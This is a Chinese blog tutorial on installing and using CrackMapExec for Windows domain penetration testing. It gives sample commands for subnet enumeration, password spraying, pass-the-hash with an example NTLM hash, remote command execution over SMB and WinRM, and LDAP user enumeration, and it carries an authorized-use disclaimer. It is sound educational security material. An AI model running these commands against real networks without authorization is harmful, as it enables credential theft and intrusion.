当前位置: 首页 > news >正文

CrackMapExec--安装、使用

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
CrackMapExec(简称 CME)是一款专为 Windows 网络渗透测试设计的自动化工具,集成了信息枚举、凭证验证、横向移动等核心功能,广泛用于红队演练和安全评估。

一、核心介绍

CME 基于 Python 开发,通过封装多种 Windows 常用协议(SMB、LDAP、WinRM、MSSQL 等),实现对目标网络的批量操作。其核心价值在于简化渗透流程:无需手动逐个测试主机,可通过命令行批量枚举信息、验证凭证、执行命令,快速定位网络中的安全弱点(如弱密码、过度权限等)。CME主要应用于域环境中,注重于后渗透领域。

适用场景

  • 内网信息收集(主机存活、操作系统、共享资源、用户列表等);
  • 凭证有效性验证(密码喷洒、哈希传递攻击);
  • 横向移动(通过有效凭证远程执行命令、部署后门)。

二、工作原理

CME 的核心原理是利用 Windows 协议的交互逻辑,通过发送特定请求与目标主机通信,解析返回结果获取信息或执行操作。以下是关键协议的作用:

  1. SMB 协议(Server Message Block)
    最核心的协议,Windows 默认开启(端口 445),用于文件共享、远程命令执行等。CME 通过 SMB 协议可:

    • 枚举主机基本信息(操作系统版本、域名、工作组);
    • 验证用户凭证(明文密码或 NTLM 哈希);
    • 执行命令(通过psexecwmiexec类似逻辑,在目标主机上运行命令)。
  2. LDAP 协议(Lightweight Directory Access Protocol)
    用于域环境中目录服务(如 Active Directory)的查询,CME 通过 LDAP 可枚举域用户、组、OU(组织单位)、域控制器等信息。

  3. WinRM 协议(Windows Remote Management)
    基于 HTTP/HTTPS(端口 5985/5986),用于远程管理,CME 可通过 WinRM 执行命令(类似Invoke-Command)。

  4. 哈希传递攻击(Pass-the-Hash, PtH)
    CME 支持 PtH 的核心原理:Windows 验证时,NTLM 哈希可直接替代明文密码用于身份验证。CME 通过传递哈希值(而非明文)向目标 SMB 服务发送验证请求,实现无需明文密码的登录。

三、安装方法

CME 主要在 Linux 环境(如 Kali Linux)运行,以下是常见安装方式:

Kali Linux 快速安装,Kali 默认预装 CME,若未安装或需更新:

sudo apt update && sudo apt install crackmapexec -y

源代码下载:【免费】CrackMapExec-一款强大的后渗透工具资源-CSDN下载

四、使用

CME 的命令格式为:

crackmapexec <协议> <目标> [选项]

其中,<协议>可指定smb(默认)、ldapwinrm等;<目标>可以是单 IP、IP 段(如192.168.1.0/24)或 CIDR。

在搭建的域环境中进行操作。

1. 基础信息枚举(SMB 协议)

枚举目标网段的存活主机、操作系统、域名等:

# 扫描192.168.1.0/24网段,获取基础信息
crackmapexec smb 192.168.1.0/24

# 枚举目标主机的共享资源
crackmapexec smb 192.168.1.100 --shares

2. 凭证验证(密码喷洒 / 哈希传递)

密码喷洒(避免账号锁定,先查密码策略):

# 查看目标的密码策略(如最小长度、锁定阈值)
crackmapexec smb 192.168.1.0/24 --pass-pol# 对网段批量测试用户名+密码(如域用户admin,密码P@ssw0rd)
crackmapexec smb 192.168.1.0/24 -u admin -p 'P@ssw0rd'

哈希传递攻击(使用 NTLM 哈希验证):

# 格式:-u 用户名 -H NTLM哈希(注意哈希需为LM:NTLM格式,LM可留空为aad3b435b51404eeaad3b435b51404ee:NTLM)
crackmapexec smb 192.168.1.100 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'

这个就需要用其它工具先抓取Hash,再进行操作

 

3. 横向移动(远程执行命令)

通过有效凭证在目标主机上执行命令:

# 使用SMB协议执行命令(返回结果)
crackmapexec smb 192.168.1.100 -u admin -p 'P@ssw0rd' -x 'whoami'# 使用WinRM协议执行命令(适用于开启WinRM的主机)
crackmapexec winrm 192.168.1.100 -u admin -p 'P@ssw0rd' -x 'ipconfig'

4. 域环境枚举(LDAP 协议)

在域环境中枚举域用户、组、域控制器等:

# 枚举域内所有用户(需域用户凭证)
crackmapexec ldap 192.168.1.200(域控IP) -u 'domain\admin' -p 'P@ssw0rd' --users# 枚举域内所有组
crackmapexec ldap 192.168.1.200 -u 'domain\admin' -p 'P@ssw0rd' --groups

除这些以外,还有其它很多的功能,使用命令查看帮助即可

crackmapexec -h

 

 

 

 

http://www.dtcms.com/a/324131.html

相关文章:

  • Matlab算法代码速成5:Matlab求解分段微分方程编程示例
  • Linux环境下实现简单TCP通信(c)
  • Vue 3 快速入门 第五章
  • Jetpack系列教程(二):Hilt——让依赖注入像吃蛋糕一样简单
  • ROGUE: 【张院士团队R包】一种基于熵的用于评估单细胞群体纯度的度量标准
  • 第十五讲:set和map
  • Celery分布式任务队列
  • vscode uv 发布一个python包:编辑、调试与相对路径导包
  • Rust进阶-part6-宏
  • WPFC#超市管理系统(5)商品布局、顾客登录、商品下单
  • redis集群-docker环境
  • JAVA+AI简化开发操作
  • `sk_buff` 结构体详解(包含全生命周期解析)
  • How Websites Work 网站如何运作
  • 社交与职场中的墨菲定律
  • 2025年6月电子学会全国青少年软件编程等级考试(Python三级)真题及答案
  • DBAPI 实现不同角色控制查看表的不同列
  • 量子计算机实用化:从理论到现实的艰难跨越
  • 数据中心可视化:算力中枢智能运维
  • 编程基础之字符串——统计数字字符个数
  • JDBC的连接过程(超详细)
  • 【Docker-Day 12】揭秘容器网络:深入理解 Docker Bridge 模式与端口映射
  • Python爬虫-爬取政务网站的文档正文内容和附件数据
  • 【Linux | 网络】数据链路层
  • 电脑清理3步速成法
  • 三相LLC拓扑分析
  • CompletableFuture实现Excel sheet页导出
  • 产品经理入门 - 产品解决方案(需求分析、 功能优先级划分、功能价值、用户体验)
  • RabbitMQ面试精讲 Day 19:网络调优与连接池管理
  • NLP---IF-IDF案例分析